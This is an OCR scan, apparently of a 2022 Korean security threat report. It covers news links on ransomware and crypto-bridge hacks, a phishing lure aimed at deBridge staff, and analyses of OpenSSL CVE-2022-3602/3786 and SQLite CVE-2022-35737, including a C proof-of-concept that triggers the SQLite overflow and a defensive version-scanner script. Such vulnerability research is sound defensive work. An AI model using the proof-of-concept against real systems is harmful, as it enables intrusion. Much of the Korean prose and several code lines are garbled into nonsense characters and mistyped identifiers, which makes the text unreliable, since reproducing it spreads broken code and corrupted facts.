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Medibank cybercrime update

There has been a further development in Medibank’s cybercrime event, which is subject to
a criminal investigation by the Australia Federal Police (AFP).

It has become clear that the criminal has taken data that now includes Medibank customer
data, in addition to that of ahm and international student customers.

This is a distressing development and Medibank unreservedly apologises to our
customers.

Here is what we can update

We have received a series of additional files from the criminal. We have been able to
determine that this includes:
* A copy of the file received last week containing 100 ahm policy records — including
personal and health claims data
* Afile of a further 1,000 ahm policy records - including personal and health claims
data
* Files which contain some Medibank and additional ahm and international student
customer data

THOIHE S 0f 25t Medibank At A3, 202214 108 25 )
12! £x|: SOCRadar, November 25, 2022
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+ Quantum ransomware attack affects 657 healthcare orgs
https: //www.bleepingcomputer.com/news/security/quantum—ransomware—attack—affects—657—healthcare—
orgs/

+ I2HA 9] CHSF, 249)0f 7O Qls ZAk Op|g
http: //www.cctvnews.co.kr/news/articleView.html?idxno=233260

+ CommonSpirit cyberattack spurs IT outages at CHI Memorial, hospitals across US

https: //www.scmagazine.com/analysis/ransomware/commonspirit—cyberattack—spurs—it—outages—at—chi—
memorial—hospitals—across—us

* Microsoft links Holy Ghost ransomware operation to North Korean hackers
https : //www.bleepingcomputer.com/news/security/microsoft—links—holy—ghost—ransomware—operation—to—
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« Hackers attack UK water supplier but extort wrong company
https : //www.bleepingcomputer.com/news/security/hackers—attack—uk—water—supplier—but—extort—wrong—
company/

« French telecom company La Poste Mobile struggling to recover from ransomware attack
https : //therecord.media/french—telecom—company—la—poste—mobile—struggling—to—recover—from—
ransomware—attack/

- 2MQl0] BZoZ SF ESAoM 2 9700t I JHOIMH S
https: //www.cctvnews.co.kr/news/articleView. html ?idxno=233901

« Australia blames cyber criminals in Russia for Medibank data breach
https: //edition.cnn.com/2022/11/11/tech/medibank—australia—ransomware—attack—intl—hnk/index.html

« UK’s Kingfisher Insurance suffers apparent LockBit 3.0 ransomware attack
https : //techmonitor.ai/technology/kingfisher—insurance—ransomware—LockBit

« S MY 324 O1F, ollofOrA|ot Tzt RIS 0| JHOIHE 5002 74 2
https: //www.boannews.com/media/view.asp?idx=111819

o ZHAQOf0]| M= SEHA| HE--GF - KISA, TE7t THsh BAF 24
https://newsis.com/view/?id=NISX20220719_00019481408&cID=10406&pID=13100

< 3 WM o] 2 ROV &=
https: //www.jnilbo.com/view/media/view?code=2022072817091118586

- [ETA dlfeg 7”0t e2ick-E2 2HA9o] misH SHht
https: //www.etnews.com/202207 14000242

+ LOCKBIT AND BLACK BASTA ARE THE MOST ACTIVE RAAS GROUPS AS VICTIM COUNT RISES
https : //www.trendmicro.com/vinfo/us/security/news/ransomware—by—the—numbers/LockBit—and—black—
basta—are—the—most—active—raas—groups—as—victim—count-rises—ransomware—in—g2—and—q3—2022

- [713] 82 AkEat= Al HaQlof 7t thstel=E 2ict
https://www.boannews.com/media/view.asp?idx=108704
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We are aware of the incident involving the Nomad
token bridge. We are currently investigating and will
provide updates when we have them.
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. Alex Smirnov
From: <Alex@debridge.com>

s o 04 Aug, 2022 10:03:23
Sent time: AM

Alex Smirnov has shared following file:

B New Salary Adjustments

Email targeting targeting deBridge employees
source: Alex Smirnov

4+ [Auto] Name Ext Size Date Attr
®L] <DIR> 05.082022 11:20 ---- |
@ New Salary Adjustments pdf 569 282 18.07.2022 05:48 -a--
[@ Password.txt Ink 1851 22.07.2022 02:29 -a--

deBridge Finance X122 =2l DA Y )

=X Alex Smirov
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- S200| JHYRMMAZA S S HEeH HAlE MolH HEOES| E5S Sl 7| A52 ZEske J&0
XEXo2 LIEfHo| et 0= F5et 22X2 T27|%S SH2= 015 AHtst Milish= 230] 017H

D EX
+ Bad Code Update Lets Hackers Steal $190M From Cryptocurrency Bridge Nomad
https: //www.spiceworks.com/it—security/security—general/news/nomad-bridge—crypto—heist/

+ Binance hit by $100 million blockchain bridge hack
https: //techcrunch.com/2022/10/07 /blockchain—bridge—hack/

« Crema hacker returns $8M, keeps $1.6M in deal with protocol
https: //cointelegraph.com/news/crema—hacker—returns—8m—keeps—1—6m-in—deal—with—protocol

+ Curve Finance exploit: Experts dissect what went wrong
https: //cointelegraph.com/news/curve—finance—exploit-experts—dissect—what—went—wrong

- ASaim O Hio|7] BIEIRE, 1.6 2 &2 Cloto] s mfsl .."REE 74217 | ="
http: //coinreaders.com/45964

+ A vulnerability disclosed in Profanity, an Ethereum vanity address tool
https: //blog. 1inch.io/a—vulnerability—disclosed—in—profanity—an—ethereum—vanity—address—tool—
68ed7455fc8c

« EXPLAINED: THE KYBER NETWORK HACK (SEPTEMBER 2022)
https: //halborn.com/explained—the—kyber—network—hack—september—2022/
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+ Notice of Exploit of KyberSwap Frontend — All funds will be reimbursed
https: //blog.kyber.network/notice—of—exploit—of—kyberswap—frontend—963aa8febd6a

* How Market Manipulation Led to a $100M Exploit on Solana DeFi Exchange Mango
https : //www.coindesk.com/markets/2022/10/12/how—market—manipulation—led—to—a—100m—exploit—on—
solana—defi-exchange—mango/
< "S5t 2iKEA, MA| Z|cH H2iA HIo[HA Salf S8 LS SHH| ME”
https: //www.voakorea.com/a/6607 184.html
-t 2IRRA, X271 1 22 US| offd MEeE X
https: //www.etnews.com/20220630000305
+ deBridge Finance crypto platform targeted by Lazarus hackers
https: //www.bleepingcomputer.com/news/security/debridge—finance—crypto—platform—targeted—by—
lazarus—hackers/
- USSHH SHF 2 S8 HAZE! ME F oY A wA
https : //www.boannews.com/media/view.asp?idx=110934
« O] L, 2N x| 'EHI0|= FHAI MIXH.."S 2IRIRA S F| 7Hst EAME
https: //www.voakorea.com/a/6693230.html
- 0=, 56t 6li7 FHEo| thet 243 2F 1312 E2 24f Qly
https: //www.cctvnews.co.kr/news/articleView.html?idxno=233039
- Sot oS 8 AR YE 6l 7IE7 1Y FY Al

https: //www.donga.com/news/Inter/article/all/20220711/114384201/1
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OPTUS

Urgent update about

your personal information

Dear Former Optus Customer,

It is with great disappointment I'm writing to let you know that Optus has been a victim of
a cyberattack. As a former Optus customer this has resulted in the disclosure of some of
your personal information.

Importantly, no financial information or passwords have been accessed. The information
which has been exposed is your name, date of birth, email, phone number, address
associated with your former account, and the numbers of the ID documents you provided
such as drivers licence number or passpert number. No copies of photo IDs have been
affected. . =

o7 D240l FHAUHE RF AFDoll Chsh AE3H= Optus®] SXIZ )
Z=Xx{: The Conversation, October 4, 2022,

<ATtEE X[ EAAF AE(Singtel)2] KIZIAR SF 29|0] EAIARI Optus7t 2L dho} 9808 Ho|
JHRIMETL REE Z0| BI5{E. &F Q1519 1/30] H= At 7H°WE7+ FEE 33 Z[He| AfI0[HM O
0| REE|0 B2 msiXIE0| 0IE AAISHaXt & OptusZt AHl2F0| sHX|E!
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https: //v.daum.net/v/20220819022030521

ZI 2{AJOf SHHZE] 2L, £ ZT HAOIE 34

http: //m.ddaily.co.kr/m/m_article/?no=248506

< SiAHZERZ LW, 0l £ ST HAOIE ClzA 34, o=k HoH'Fng
https: //www.boannews.com/media/view.asp?idx=111324

- 2 s 24, RE 2l3| gAO|E Cl=A 34
https: //www.cctvnews,co.kr/news/articleView.html?idxno=234022

* Russian Sandworm Hackers Impersonate Ukrainian Telecoms to Distribute Malware
https: //thehackernews.com/2022/09/russian—sandworm-hackers—impersonate. html
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https: //www.yna.co.kr/view/AKR20220923097 100093 ?input=1195m
« The biggest hack in history: Australians scramble to change passports and driver licences after Optus telco
data debacle
https: //www.theguardian.com/business/2022/oct/01/optus—data—hack—australians—scramble—to—change—
passports—and—driver—licences—after—telco—data—debacle
- 0|2t 2FUS ALO|H S B S 1127 S
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o oF 70 EEYE A9 012 FXIEF, Alo|H 32 Hol
https: //www.sedaily.com/NewsView/26CH3TOBE9

* Iran’s Fars News Agency website hacked as part of anti—govt protests
https: //www.hackread.com/fars—news—agency—website—iran—hacked/
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1. HHZ QIEsH= Ot 7|2 — OpenSSL H2HH

« Z[OITHAL B A4 JHSBH 913 OpenSSL versions 3.0.0 2E 306 7K OpenSSLE AR ZS
HIQHZ2S T4S S8t Dos 32 7ts
EH

M HTHeZ mHX| HE

w
o
~
=
0z
19
+>+-

ARt QISA0| I QHS29E EalX st=2 XHE FLIZE(Punycode)2
QITEE 0|t FAS EE5/0] SHBORM DoS(AHIA 745 Z71 Ly

2022 etV OS¢ et Aoz UORTE OpenSSLO| FFHO| s 2ol 2RE
A71%ct Xt 580fi= OpenSSL W ¢_rehash ATZENIA 2l HIEt 2XIE MESIAH| AKIGHK| L0t 2=
Y T FAMCVE-2022-1292)1t 6&0il= OpenSSL FHHE Q1AM FOFM(CVE-2022-2068)S CVSS
ScoreZt 9.82! 0 dZket Y12l FoFY S0| YEHCH, 0I5 WX[5t7| 5 OpenSSL 3.0.47t S =7|=
34t

ru|o
T Mo
ih
4
rir

iy

SHEtZ|0ll= 147H2] OpenSSL 22 F{2H0| S/HCL 015 9.0 0|9 =uegez 2RE

= F2FE 2712t 7
10712] 119fd F2FH0| SHE2ZM T 0]d OpenSSL2 QHHSHA| §iCh= XS 2AMAIF F

1717} Sk

=

T
=
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Published CVE Score Vector
2022.07.01 CVE—2022—2274 | 9.8 (CRITICAL) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:H/I:H/A:H

2022.07.05 = CVE-2022-2097 = 5.3 (MEDIUM) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:L/I:N/A:N

2022.07.06 | CVE-2022-8164 | 9.1 (CRITICAL) |  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

2022,07.14 | CVE-2022-32222 | 5.3 (MEDIUM) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/AIN

2022.07.14 | CVE-2022-32223 = 7.3 (HGH) CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

2022,07.18 = CVE—2022-34900 = 7.8 (HIGH) CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/AH

2022.09.05 = CVE-2022-39828 5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H

2022.09.05 | CVE-2022-39829 5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H

2022.09.05 CVE—2022-39830 5 (HIGH) CVSS:3.1/AV:IN/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H

2022.09.08 = CVE-2022-40281 5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:H/I:N/A:N

(
(
(
5
(
(
(
(

20221011 | CVE-2022-3358 5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:H/I:N/A:N

2022.11.01 = CVE-2022-3602 5 (HIGH) CVSS:3.1/AV:IN/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H

2022.11.01 = CVE-2022-3786 5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H

20221213 | CVE-2022-3996 5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H

20224 5l4t7| Z7HE OpenSSL HUH )
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£35| 1020ll= 2014H2| HeartBleed AtEHR} H|WoHH =0 fed F2FE0l| Chet THX|7F ol 0 =[HA] &£ SHH HOt
HEIE MololiME= ZIZe| AlZto] S27|= 3oLt 0|F S7HE CVE-2022-3602("X.509 Email Address
4—byte Buffer Overflow”)2} CVE—2022—-3786(“X.509 Email Address Variable Length Buffer Overflow”)
FUHE2 2B E NEHeZ EEREHOZMN AIFQ| ZIZ0| 2t3tE|7|= 3T CVE-2022-3786 & CVE-
2022-3602= OpenSSLOIAl X509 QIBA E219| 0| Mot =7 ZAAt 7152 olH &, HI RHEZ 7t
HHME 4 Ql= F|oFMoZ Eolx|HA|, REC(Remote Command Execution, &4 '@)EI:}E DoS(AH|A 7{E)
FoFEoll 77k2 A= SQIE|0f YF=TH HOFXIC

o|Holl Z7HE CVE-2022-3602 FAXO| AL, AUSM0 HI LHEZRE E2|H =2 =2
LIZ=(Punycode)2 QIEGE O|HY FAE EE%H SAUE M, 40| 432 ZR DoS(MH|A HE)
20 A4=2E 4= ATk

OH H 2

)D HL|3=(Punycode)2t?

Punycode= H[Stel ASCI 2Xt 518 Zigle AIRSHE SLFE 2X1Ho| goio=z adixoz

E=AIRE Z0| ASCIZ} oF EXPt Z&tEl =02l 0|82 9_|i%' 3PE ol AREC FLZFER 215

EXE2 x\n—'2 AlEfst 1 Fof| Foi 2RIt KX &

of) St=kr 2| =2 sh2loflAl= QIA0| £[X| 97| 20, FL|= ':% | SHAl ASCIZ H#H2t0| 7kssict,
0] 42 =12 3e0b707e22, xn—3e0b707e kr O EIC},

.lJ

ral
0 Hl
<

OpenSSL2 ossl_punycode_decode &4-2 AKZ3H Punycode =[RS SLITER HetsiC} S2|0[CE K=
MNH7E X509 QIE M| SEAME HARBIEE A%l AL OpenSSLE Punycode =010 XY HIHE 71AQ}
Z7} X212 Qs SLIZERZ HEKSHE ossl_punycode_decode 142 SE6iCt,

OpenSSLe| F|oF5H &4~ ossl_punycode_decodes= QIEAM Q1S X2|& tf SEE|H, Punycode 2AtE
2 S0 HI LHEZE Lozl 4 QA =it FNS 9;93,_} 242 Ctg S Sl 0|2 2 4 Q.

J» CVE-2022-3602 & CVE-2022-37862 0|2¢t 34

1) Punycode 2AIEL 'xn—'S M5t Z|A 512HI0|ERCt 7of 5tH, A FLZE ZXIH0| Z&t=l
"nameConstraints’ LEZ ZeHEIT Q= CAQIS 7|7 1IN E= FI| QIZSME T

ri|‘rﬁ
=
rin
o

2) SmtpUTF8Mailbox 2AtES X|[&5k= SAN(SubjectAlternateName) otherName ZEZ Eslsh= 2|z QISME
oHECE

L]
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CVE—2022—3786 X2 Qlsl| ossl_a2ulabel B0l HIH QHHEZ 7} SHASIC 0] B4t ® 2XK')7t

Huzs BUDC 222 oY 37| Zasigele £2 HmHol T Fvtelof HAECD. 0@ Aloz
TR HEAN)Z RS A0S 52 W0 QHER StoRM| A AN QUS4 9irt of2{st
WAlZ S5 97 IC A% ZZHORE AMBE 4 BiOUt O M QHIE2 Ol B HMMHIA g
LAS BIS0f Y 4 Ut

1 Attacker generates 3 Victim receives and verifies
malicious certificate chain attacker certificate chain

OpenSSL 3.0.6

Root o4
l signs > *
2 ¥
Cetieae riosts chir

CVE-2022-360212 CVE—2022-3786 22 Z22 )

CVE—2022-36021} CVE—2022—-3786 = C} X.509 QIEAM &2l &0 EZ[HE £+ U= OpenSSLe| HIH

QHER FoFHMo|C) 0| FAUES X509 QIZMO| KFA HAF 01| Punycode ZH|Q!

ol Alﬁilh OpenSSL2| ossl_punycode_decode &0 M EHMZICE 0] Z&toz OlsH A -3—7—17%% ’.\_'Elsa*
= CAOIM MESE 2o|XO1 TLS QIBME A3l {2t HZEIQ| OpenSSLE Aldet= AlA

HJIO 3
40
r
-1l
:
rE
rll
o
i

S oA olo)
TCE S 4 | Bt FHOHS Salo|Aset My D50 S DIFICL BN Hole Adtxoz
Zato|olE Z0IM 27| R0, TLS S20IAE0IA ofolxiol Mujo] #1Zsh E2lH Hozm F2
S2f0IME0] FES DIFICE, T2ILt OpenSSLEl 0] £ 74| M22 B Q8IS o2 TLS Satolote
QS S5 TLS MHIS A3t HoIE AISE 4 U= DS FHUUS 085K B Fefol chsh K2l
BUER0| TSI

Z/OFE CVE-2022-360224 CVE-2022-37862 25 OpenSSL v3x, = HF 3.0.00A 3067012 Hare
OJRIct, watA, OpenSSL vixe Fa0| glom QFXGICE vix AFRXF= OpenSSLe| 0] & 7HX| MES HI
QHEZ FIHHol| thell XIS Flg HRI gLt OpenSSLO| F|okst HES AlSliGH= CentOS, Fedora, Kal,
Linux Mint, openSUSE Leap 2 Ubuntu, =71 0]0JX|, macOS % Windows 2% A2t Z2 2= HE& Linux
TR F2Fd0| UM IHXIE 4-3sHof St
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1D |25t OpenSSLL| &0l i =1
CtSot 20| ZHChst HRdol Asiotoz A|ARINA OpenSSL HES &118H 4= QlCt MEHO|Al OpenSSL HZT2 c:',:
2101511 7hset &F el OpenSSLOIIM 0] & 71X ME2 HIH QHEZ FFHS +Foh= 20| BLC Q.
. L
$ openss| version 19
k]
ol
0%
SSL &
OpenSSL HiZ &0l ui
LS AL, B2 0] M0l OpenSSL HFHS SHQISHOF SH= CHFR BHOME Linux X Windows 2%
MM OpenSSL XS AZHSH | 2/5t Bash L PowerShell AT ZES IS0 AEE = QUL
#!/usr/bin/env bash
set -uo pipefail
# BEGIN CONFIG
# set to 1 to show only OpenSSL version vulnerable to this bug
only vulnerable=0
# set the directory to search for OpenSSL libraries in (default: /)
search_directory="/"
#END CONFIG
echo 'This is an example script not meant for production use. To confirm that you
understand and accept all responsibility, type: confirm'
read -r confirm
if [[ "$confirm" == "confirm" ]]; then
if (( only_vulnerable )); then
regex="'"0penSSL\s*3\.0\.[0-6]"
L]
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else
regex=""0penSSL\s*[0-9]\.[0-9]\.[0-9]"

if | command -v strings & /dev/null; then
echo "strings could not be found, please install it and try again"
exit 1

find "$search_directory" -type f '(' -name "libcrypto*.so*" -o -name "libssl*.so*"
-0 -name "libssl*.a*" -o -name "libcrypto*.a*" ')' | while read -r file_name; do
strings -- "$file name" | grep -e "$regex" | while read -r openssl version; do
echo "$openssl_version - $file_name"
done

done

true

else
echo aborting
exit 1

Linux& scanner (Bash Script) )
2 1 https: //github.com/MalwareTech/SpookySSLTools/blob/main/openss!_scan.sh

1D CH3 gt
OpenSSL F2Ee| A2 SZ4S LUK A4S UX| YUK =Xtz A2 Tis7
O{ECt= 2MFO| UCE mhatA, E|4& 2 i
HMEst= A0ICh 2 AFEXIES0| OFRIZHK|E OpenSSL 1.1.1 HEZ M%ﬁfﬂ %1
OpenSSL 1.X M| thet X[ S2E ol&E= PHE OpenSSL 3.X HZA 0l

|'>i

OISt AIEOI HBIZT} Reisl= MBIt 3079 TAZH 118 1Y HE*EE.J alé X500 SN0l T
StAlo] A HOF Z710| ERIE/0f QLT HH Mal7t BAEE AL, 7| HF0| HANOR £ ¥ SHE
ZIOFH(CVE-2022-3996)0] 290[0] E7HEl= S OpenSSLO| FOMES EAI HRIOIME 74 woislm Quct
Tfahd, @F AA alo[22{a] ARl AL HHS Z315H 0[2) Taloh Sl THR| 270 Huol chat XI4xe!
DUERIS S5f EA THR| MEHS SAISHD OpenSSLO| Zoft MRS LRSI ks SUZ0| st alAEs
RI&=0R Siolsh Halg 4 9l= #7) 0fzio] BRsic,

OIROEINEISR
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TES MBIILE AHIA AR MRS SN & US

- CH2HIH: SQLieZ 3.39.2 U 0|2 H{Xoz MR

- AT AILIEIS: BHRKS Yojo| TE MS S8 OIS Y B 4
QUL 4 S
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SQLite= MySQLL} PostgreSQL2} ZtE C|0|E{H|0| A

ARE5H= H|wX 7HH2 TO[E{H0]AZ B4 20 F2 ARZE1 ULt SQlite=

orelore

APS ALESIH, AP= Hiesl| 2to|E2{2|E
=0 ARZE|1 U= o|O[EfH|0]A0|Ct,

WSQLite

About

S5l

=0

Home Documentation Download License Support Purchase

What Is SQLite?

featured, SQL database engine. SQLite is the most used database engine m the wor\d SQLite is built
into all mobile phones and most computers and comes bundled inside countless other applications that
people use every day. More Information...

The SQLite file format is stable, cross-platform, and backwards compatible and the developers pledge
to keep it that way through the year 2050. SQLite database files are commonly used as containers to
transfer rich content between systems [1] [2] [3] and as a long-term archival format for data [4].
There are over 1 trillion (1e12) SQLite databases in active use [5].

SQLite source code is in the public-domain and is free to everyone to use for any purpose.
Latest Release

Version 3.40.0 (2022-11-16).

2| AJARICZ M7} ot at

Small. Fast. Reliable.
Choose any three.

Search

S8 T2
Ho[HE XMst= df
=2 NSEH, 72 A=20E 2F MF 7=

i
siLtol

Common Links

« Features

« When to use SQLite
« Getting Started

o Try it live!

Prior Releases
SQL Syntax
o Pragmas
o SQL functions
o Date & time functions
o Aggregate functions
= Window functions
o Math functions
e JSON functions
C/C++ Interface Spec
o Introduction
o List of C-language APIs

« The TCL Interface Spec

« Quirks and Gotchas

« Frequently Asked Questions
« Commit History

* Bugs
+ News
SQLite EMH|0|X] (ttps://salite.org) )
SQLite= 2000 88 172 1.0 HFS 2= & 0|2 XIF/IK| 220 He 7|2 S2t 333X [0 2T E'E' 2=
SIAEZIE 7HX[2 Qg UF LS AEE|0f2 AZEY00[C, 2 METF, SQlite= M2 FIfHS
=E6 JACh = SHE(ol= 8142 F|OFH0| S/HCH, OIS 9.8 0|2 zufdez 2FE FFHO| 27HLt
US T XEHQ! 20| et AZEL0{0|C,

L]
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. . CVSS
Release Vulnerability ID Description SavEri
3.39.2 0|FQ| SQLite 1.0.12 ~ 3.39.x0|AM =4I HIO|ET} C V31: 75
2022.0803 | CVE-2022-35737 A APIOI| CHSH 2XIE Q14:0f AIREl= HL BIE H 2HE27t L
HEANSH A Q12 HIGH
1.46.16 0[5t2] 2= FLIR AX8 E MM 7iHj2t HZHS Bxx
st ClglE2] WMA KSR QIsH QHHSHR| 42 AA| FFE
o etz g3, QUBEIX| 22 #4 ZAXt= SQLite AFEXH V3.1:75
20220818 | CVE-2022-87062 | |\ oo S0 oot mate URiS Masim Clezod HOH
0| A48T 4 o, oAZ20| M3stH SAXE AFZXL 0|5t
SHAIE 2 E FEE £ US
colord/src/cd—device—db.c & colord/src/cd—profile—db.cOf| V31: 75
20220825 | CVE—2021-42523 | 27 F|2F&0| U2, 'sqlite3_exec'@| 'err_msg7t AL Z Sl L
= HIGH
SIX| 21, libxml2e &AL SliK|GHOF &
SQlite 3.31.10{A] INTERSEC #H2| X[ A ZAHAMOl 4 ZIE | V31:75
2022.09.01 | CVE-2020-35525 e HIGH
SQLite 3.31.10l= &&= FROM H0| = 5ol thet ALTER | V3.1: 9.8
2022 —2020-35527
0220901 | CVE-2020 TABLES S5t H9I2 H0fLt AAA 27} IS CRITICAL
3.0_GBM(Z 3.1_PRE)2 S3all Samsung TizenRTOA 2|7}
LHE
o L L V3.1:75
2022.09.08 = CVE-2022-40280 | security/provisioning/src/provisioningdatabasemanager.c2| HIGH
createDBOll= sqlite3_open_v2 CH20|| F2H=l sqlite3_close7t
U0, AHIA ST} ALt
3.0_GBM(Z 3.1_PRE)2 Eall Samsung TizenRTOA 2|7}
LAE
. L L V31:75
2022.09.28 | CVE-2022—-40278 | security/provisioning/src/provisioningdatabasemanager.c2| HIGH
createDBOll= sqlite3_exec 01F F2t=l sqlite3_free7}t U0
MH|A AT} ghalist
3.40.07tX19] SQLite= AEE 4~ Sl= CLI AFZE AES 2ol
—safe0l 2|Z&t mff, azProhibitedFunctions 23 H7{LIZS  V3.1: 98
- 2_ _ ’
202212.12 | CVE-2022-46908 M2 736HA| L0 thiAl WRITEFILEZ} 22 UDF &4E | CRITICAL

583
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K|t 821 SQlite 2I0|E2{2| APIZ AR3H= OfZ2|H|0|M0 FEHS 0|x|= CVE-2022-357370] ZIHSACE
CVE—2022-357372 SQLite H7 1.0,12(2000 102 17 Z2|A)RE ZQUSIOM OF 22147t F|OkMS L5
2 O|RE|C7} 3.39.2(20221 78 212) HZFOIA £ESHCH CVE—2022-357372 B4H|E A|AHIO|A Qt2E
£ oM o Jtsde Z2 30| MY Zli= YA w2t Ch2A| LIEKICE 2to|=2{2]7t AR 7iLta| lo]

- o
212l 2 Z2 ol TE M0| JHSHT HIHAR MHIA OF 7 LAsH| Eict

JD 7tLt2|(Canaries : Canary word)2t?

Ho @ E22E ZLH 57| 2o Hmet Mo HlojE Atolof A™E Z0|Ct HI RHEZT}
2HMSHH Canary 240 &A%, Canaries HI0|EQ] AB0| Auls, LHEZ0| st 207t S0,
2AE HI0|HE R85t XM =/t

AAEIOAN CVE-2022—-35737 F|2HHd| 2la &
& UHO| printf BF42| SQLite T8I0 MEE=
| E4 2XIE AR8st0 RUIE Xt AdE &
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227 static zend_string* sqlite_handle_quoter(pdo_dbh_t *dbh, const zend_string
228 *unquoted, enum pdo_param_type paramtype)

229 | {

230 char *quoted = safe_emalloc(2, ZSTR_LEN(unquoted), 3);

231 /* TODO use %Q format? */

232 sqlite3_snprintf(2*ZSTR_LEN(unquoted) + 3, quoted, “’%q’”, ZSTR_
233 VAL (unquoted));

234 zend_string *quoted str = zend_string init(quoted, strlen(quoted), 0);

235 efree(quoted);

return quoted_str;

}

D)
J

PHP PDO SQLite module SQLite String Format 24 FE
= hitps: //github. com/php/phmsrc/b\ob/5d6d9796104bd6d91 f39db553 1ae57 13b8afbaec/ext/pdo_salte/salite_driver.ct#l_227

PHP PDO SQLite =0 Q18 2XIE XESHH 0|AAO|Z XM2loks Ol AFRElE &7t = 2Fel 232044
B35 gl= long(2*ZSTR_LEN(unquotedH3)0| salite3_snprintfol| & £y |1H7Ht'i1 2 MY 83 = F8E
7|cHSiCE o] HOE 2A3sH 2 EXIES S0l MEote WSE EADE LX[SHK] b= ERE HAlo| EXIES

Aot Fofet S& =0l SAL S +A3MS W Z2f+7t 2dfetct.
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sqlite3.h>

#define STR_LEN ((Px100000001 - 3) / 2)
int main(int argc, char *argv[]) {
char *src = calloc(1, STR_LEN + 1); // Account for NULL byte.
memset(src, 'a', STR_SIZE);
char *dst = calloc(1, STR_LEN + 3); // Account for extra quotes and NULL byte.
sqlite3_snprintf(2*STR_LEN + 3, dst, "'%q'", src);
printf("src: %s\n", src);

printf("dst: %s\n", dst);
return 0;

PHP PDO SQLite module SQLite String Format AA A=

[H 2-5]= X2U2H 22Xt [I2 XM2M2HE 0|AA0|Z Cl= EXIES =257 s Al XI™A}F %a2t
517 sqlite3_snprintfS H&5HA| AFR317| Qs S FE2 o470 2 2GB 2X1ES XF M5 PHP
AFRET} SAGIEE AMFICH 1 Zat [ 4)2F 20| SQLie7t printf A B4l ARX} XIH 73 S20fA

Z EXIEE M2 X2[5HK| Zefth= s =ela + Ak

sqlite3_snprintf g~2| a4+ Zot

AEAH XIFE SQLite printf g AE2 —E—IP“' Al X|IHE X2I5HE sqlite3_str_vappendf &85 LHEXMo=Z
SEBICL sqlite3_str_vappendf &0l 2 2XIES U2iotH 4 HI 50| %q, %Q E= WOl AS 25
QlE e QUEZTH e 4~ QUL sqllte3 str_vappendf= U3 fmt EXIES AZHSIT fmt EXIE0]| X|IHE
A i RO wet 7iH 37| 2l SE9| YWAIS XISt %q %Q X %w FA XIFGXIE XMz2l6t7| st
case & [# 2-6](src/printf.c T2 803-850&)0M Bfr= SHIZ &3 HIOIE £5 AMSII| sl 824—

280IA U EXISUN TEHE 2XIE AZSICE 7 CS UHS 3 HIo| SAletn ZR0| w2t 842—
45301 M 21E EXIE F7VSiCt,
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803 case etSQLESCAPE: /* %q: Escape ' characters */

804 case etSQLESCAPE2: /* %Q: Escape ' and enclose in '...' */
805 case etSQLESCAPE3: { /* %w: Escape " characters */

806 int i, j, k, n, isnull;

807 int needQuote;

808 char ch;

809 char q = ((xtype==etSQLESCAPE3)?'"':'\"'"); /* Quote character */
810 char *escarg; /*escarge YU ZXIHES Ji2|2*/

811

812 if( bArglList ){

813 escarg = getTextArg(pArgList);

814 Yelse{

815 escarg = va_arg(ap,char*);

816 }

817 isnull = escarg==0;

818 if( isnull ) escarg = (xtype==etSQLESCAPE2 ? "NULL" : "(NULL)");
819 /* For %q, %Q, and %w, the precision is the number of bytes (or
820 ** characters if the ! flags is present) to use from the input.
821 ** Because of the extra quoting characters inserted, the number
822 ** of output characters may be larger than the precision.

823 */

824 k = precision;

825 for(i=n=0; k!=0 & (ch=escarg[i])!=0; i++, k--){

826 if( ch==q ) n++;

827 if( flag_altform2 && (ch&dxc0)==0xcO ){

828 while( (escarg[i+1]8&0xc0)==0x80 ){ i++; }

829 }

830 }

831 needQuote = lisnull && xtype==etSQLESCAPE2;

832 n+=1i+ 3;

833 if( n>etBUFSIZE ){

834 bufpt = zExtra = printfTempBuf(pAccum, n);

835 if( bufpt==0 ) return;

836 Yelse{

837 bufpt = buf;

838 }

o
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839 j=0;

840 if( needQuote ) bufpt[j++] = q;

841 k =1,

842 for(i=0; i<k; i++){

843 bufpt[j++] = = escarg[i];

844 if( ch==q ) bufpt[j++] = ch;

845 }

846 if( needQuote ) bufpt[j++] = q;

847 bufpt[j] = ©;

848 length = j;

849 goto adjust_width_for_utf8;

850 }

SQLite®| printf.co| 803~850842] AA FE )

[# 2-6]°] 833-838 W2 @12 2xiC| BHE HIO|ES +4I517| Ush BBt 2719 Wyt HPE==
BEE|2 £|of UCh £ 2XIE 3717t efBUFSIZE HIOIE(7|2M 22 70HI0|E)E ZtE £ U= 2,
m2IUS 3 BXUS R0 SR8 270 HIS SHOR BUIHS34R). BrY, I o
D2 &3 Tt elBUFSIZE HIOIEQ| AR SiE HIEICE X1 HO2 045 X2 AR SE Him7t

CHA AR EICHB373). Z|A
etBUFSIZEE Z1folC{2te AEH SE HI{7t AFEE|]
SEMSHA| EICHB433).

EtHEE—rﬂ'

%0 &£

L2|= CVE-2022-357370|A 2 2X1H
L= %w YA OiX| S30| Z&E

St i HIO|EZ} UM the HIHZ ZALEIED, n0| 242 QHEZLEH 7t
2 EXIE0| = Hmof SArE o, A&

/20| printf 214-0] SQLite TR0 ML= A 2XH0 %Q,
IS 1f B 4 USS HIYCE, 0124 T2IHS FSAII0)

o
[
H
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ZAE Si8sts B9, MYE gt

EEsi0, ot B4 2xi0| F7t2 SUICS st ZAZ Hojmoan
m230| P8 HEElTE o 4 lrt
1D S Bt
CVE-2022-357372 2ZAbt Z2IUS SSA7|7ILt X1I01%E* 4 9l XFHOI Formolct o Hopye
AlAEI0] 2 326|E OF[EIXISE 20008h £Slol= RBE SHQI5H| Of2HCt 64H[E2| OF[EHS
